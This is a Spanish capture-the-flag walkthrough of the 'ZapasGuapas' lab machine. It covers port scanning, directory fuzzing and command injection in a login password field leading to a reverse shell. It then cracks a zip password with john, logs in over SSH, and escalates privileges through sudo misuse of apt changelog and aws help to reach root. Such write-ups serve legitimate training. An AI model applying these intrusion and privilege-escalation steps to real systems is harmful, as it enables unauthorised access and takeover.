ZapasGuapas

Enumeration

Vamos a empezar con un escaneo nmap:

┌──(pylon㉿kali)-[~/…/pylon/THL/Zapasguapas/nmap]
└─$ nmap -p- --open --min-rate=5000 -n -Pn -vvv 192.168.231.131
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-17 13:53 CEST
Initiating ARP Ping Scan at 13:53
Scanning 192.168.231.131 [1 port]
Completed ARP Ping Scan at 13:53, 0.05s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 13:53
Scanning 192.168.231.131 [65535 ports]
Discovered open port 22/tcp on 192.168.231.131
Discovered open port 80/tcp on 192.168.231.131
Completed SYN Stealth Scan at 13:53, 1.06s elapsed (65535 total ports)
Nmap scan report for 192.168.231.131
Host is up, received arp-response (0.000047s latency).
Scanned at 2025-07-17 13:53:30 CEST for 1s
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 64
80/tcp open  http    syn-ack ttl 64
MAC Address: 00:0C:29:C6:42:17 (VMware)

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 1.27 seconds
           Raw packets sent: 65536 (2.884MB) | Rcvd: 65536 (2.621MB)

Vamos a realizar un segundo escaneo para determinar la versión del servicio de cada y lanzar algunos scripts básicos de reconocimiento:

┌──(pylon㉿kali)-[~/…/pylon/THL/Zapasguapas/nmap]
└─$ nmap -p22,80 -sCV 192.168.231.131
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-17 13:54 CEST
Nmap scan report for 192.168.231.131
Host is up (0.00018s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey:
|   256 7e:42:d0:d4:c9:36:f4:f8:e6:77:c2:c6:7e:25:dc:ff (ECDSA)
|_  256 6f:a0:50:44:9f:a2:fb:99:40:f3:90:af:56:cc:34:e3 (ED25519)
80/tcp open  http    Apache httpd 2.4.57 ((Debian))
|_http-server-header: Apache/2.4.57 (Debian)
|_http-title: Zapasguapas
MAC Address: 00:0C:29:C6:42:17 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.51 seconds

Bien vamos a ver la aplicación web:

Si vamos probando cosas en la web vemos que no tiene muchas funcionalidades, así que vamos a realizar fuzzing:

┌──(pylon㉿kali)-[~/…/pylon/THL/Zapasguapas/nmap]                                                                                                                         13:56:49 [7/7]
└─$ ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u "http://192.168.231.131/FUZZ" -e .php,.html,.js,.txt

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://192.168.231.131/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
 :: Extensions       : .php .html .js .txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

contact.html            [Status: 200, Size: 7694, Words: 2174, Lines: 158, Duration: 1ms]
about.html              [Status: 200, Size: 8764, Words: 2769, Lines: 178, Duration: 1ms]
login.html              [Status: 200, Size: 2090, Words: 531, Lines: 50, Duration: 2ms]
images                  [Status: 301, Size: 319, Words: 20, Lines: 10, Duration: 60ms]
bin                     [Status: 301, Size: 316, Words: 20, Lines: 10, Duration: 1ms]
css                     [Status: 301, Size: 316, Words: 20, Lines: 10, Duration: 0ms]
index.html              [Status: 200, Size: 14085, Words: 4801, Lines: 274, Duration: 169ms]
lib                     [Status: 301, Size: 316, Words: 20, Lines: 10, Duration: 1ms]
js                      [Status: 301, Size: 315, Words: 20, Lines: 10, Duration: 0ms]
javascript              [Status: 301, Size: 323, Words: 20, Lines: 10, Duration: 2ms]
include                 [Status: 301, Size: 320, Words: 20, Lines: 10, Duration: 0ms]
testimonial.html        [Status: 200, Size: 8587, Words: 2719, Lines: 173, Duration: 3ms]
nike.php                [Status: 200, Size: 2362, Words: 607, Lines: 78, Duration: 1ms]

Vemos que hay un login.html vamos a ver como es:

Vamos a probar credenciales típicas:

  • admin / admin
  • administrator / admin123

Pero nada funciona, vamos a ver como se tramita nuestra data por detrás con BurpSuite, para ello interceptaremos la consulta de inicio de sesión:

Shell as www-data

Vamos a enviarlo al Repeater. Si nos fijamos podremos ver que esta usando el archivo run_command.php así que seguramente este usando uno de los inputs para ejecutar X acción vamos a probar con el parámetro username:

Nada, vamos a probar con el parámetro password:

Tenemos ejecución de código!! Vamos a enviarnos una reverse shell:

Shell as pronike

Si leemos el /etc/passwd podremos ver 4 usuarios:

www-data@zapasguapas:/var/www/tienda$ cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
test:x:1000:1000:test,,,:/home/test:/bin/bash
proadidas:x:1001:1001::/home/proadidas:/bin/bash
pronike:x:1002:1002::/home/pronike:/bin/bash

Vamos a ver ambos home, en el home del usuario pronike podremos ver un archivo llamado nota.txt:

www-data@zapasguapas:/home$ ls pronike
nota.txt

Vamos a leerlo:

www-data@zapasguapas:/home$ cat pronike/nota.txt
Creo que proadidas esta detras del robo de mi contraseña

Vemos que el usuario comenta que proadidas le robo la contraseña, así que vamos a ir a su home para ver si las encontramos:

www-data@zapasguapas:/home$ ls -la proadidas
total 32
drwxr-xr-x 3 proadidas proadidas 4096 Jul 17 15:52 .
drwxr-xr-x 4 root      root      4096 Apr 23  2024 ..
lrwxrwxrwx 1 root      root         9 Apr 23  2024 .bash_history -> /dev/null
-rw-r--r-- 1 proadidas proadidas  220 Apr 23  2023 .bash_logout
-rw-r--r-- 1 proadidas proadidas 3526 Apr 23  2023 .bashrc
-rw------- 1 proadidas proadidas   38 Jul 17 15:52 .lesshst
drwxr-xr-x 3 proadidas proadidas 4096 Apr 23  2024 .local
-rw-r--r-- 1 proadidas proadidas  807 Apr 23  2023 .profile
-r-------- 1 root      root        33 Apr 17  2024 user.txt

No vemos nada interesante… Buscando por directorios encontré lo siguiente en /opt/:

www-data@zapasguapas:/opt$ ls
importante.zip

Vamos a abrir un servidor en python3 y descargarnoslo:

www-data@zapasguapas:/opt$ python3 -m http.server 8082
┌──(pylon㉿kali)-[~/…/pylon/THL/Zapasguapas/content]
└─$ wget 192.168.231.131:8082/importante.zip
Prepended http:// to '192.168.231.131:8082/importante.zip'
--2025-07-17 14:09:05--  http://192.168.231.131:8082/importante.zip
Connecting to 192.168.231.131:8082... connected.
HTTP request sent, awaiting response... 200 OK
Length: 266 [application/zip]
Saving to: ‘importante.zip’

importante.zip                                100%[=================================================================================================>]     266  --.-KB/s    in 0s

2025-07-17 14:09:05 (60.8 MB/s) - ‘importante.zip’ saved [266/266]

Bien vamos a intentar descomprimirlo:

┌──(pylon㉿kali)-[~/…/pylon/THL/Zapasguapas/content]
└─$ unzip importante.zip
Archive:  importante.zip
[importante.zip] password.txt password:

Nos piden credenciales, así que vamos a crackearlo. Para ello sacaremos su hash con zip2john:

┌──(pylon㉿kali)-[~/…/pylon/THL/Zapasguapas/content]
└─$ zip2john importante.zip > hash
ver 2.0 efh 5455 efh 7875 importante.zip/password.txt PKZIP Encr: TS_chk, cmplen=76, decmplen=71, crc=9CB8F6B5 ts=4C4E cs=4c4e type=8

Ahora vamos a crackearlo con el diccionario rockyou.txt con john indicandole el formato PKZIP:

┌──(pylon㉿kali)-[~/…/pylon/THL/Zapasguapas/content]
└─$ john -w=/usr/share/wordlists/rockyou.txt hash --format=PKZIP
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
hotstuff         (importante.zip/password.txt)
1g 0:00:00:00 DONE (2025-07-17 14:11) 100.0g/s 819200p/s 819200c/s 819200C/s 123456..whitetiger
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Ahora vamos a descomprimirlo:

┌──(pylon㉿kali)-[~/…/pylon/THL/Zapasguapas/content]
└─$ unzip importante.zip
Archive:  importante.zip
[importante.zip] password.txt password:
  inflating: password.txt

Vemos el archivo password.txt vamos a ver su contenido:

 He conseguido la contraseña de pronike. Adidas FOREVER!!!!

 pronike11

Bien tenemos las credenciales del usuario pronike vamos acceder por SSH:

┌──(pylon㉿kali)-[~/…/pylon/THL/Zapasguapas/content]
└─$ ssh pronike@192.168.231.131
pronike@192.168.231.131's password:
Linux zapasguapas 6.1.0-20-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.85-1 (2024-04-11) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Thu Jul 17 15:45:49 2025 from 192.168.231.128
pronike@zapasguapas:~$

Bien!! Estamos como el usuario pronike

Shell as proadidas

Vamos a ver si tiene permisos SUDOERS este usuario:

pronike@zapasguapas:~$ sudo -l
Matching Defaults entries for pronike on zapasguapas:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User pronike may run the following commands on zapasguapas:
    (proadidas) NOPASSWD: /usr/bin/apt

Bien vamos a abusar de el de la siguiente manera:

sudo -u proadidas /usr/bin/apt changelog apt
!/bin/bash
pronike@zapasguapas:~$ sudo -u proadidas /usr/bin/apt changelog apt
Des:1 https://metadata.ftp-master.debian.org apt 2.6.1 Changelog [505 kB]
Descargados 505 kB en 1s (564 kB/s)
proadidas@zapasguapas:/home/pronike$

Bien!! Ya somos el usuario proadidas.

Shell as root

Volvamos a ver si tiene permisos SUDOERS:

proadidas@zapasguapas:/home/pronike$ sudo -l
Matching Defaults entries for proadidas on zapasguapas:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User proadidas may run the following commands on zapasguapas:
    (proadidas) NOPASSWD: /usr/bin/apt
    (root) NOPASSWD: /usr/bin/aws

Vemos que puede usar el binario aws como root sin necesidad de contraseña, si lo buscamos por GTFObins nos comenta lo siguiente:

Bien vamos a abusar de el:

proadidas@zapasguapas:/home/pronike$ sudo aws help
root@zapasguapas:/home/pronike# whoami
root
root@zapasguapas:/home/pronike#

root! ;)


Reseña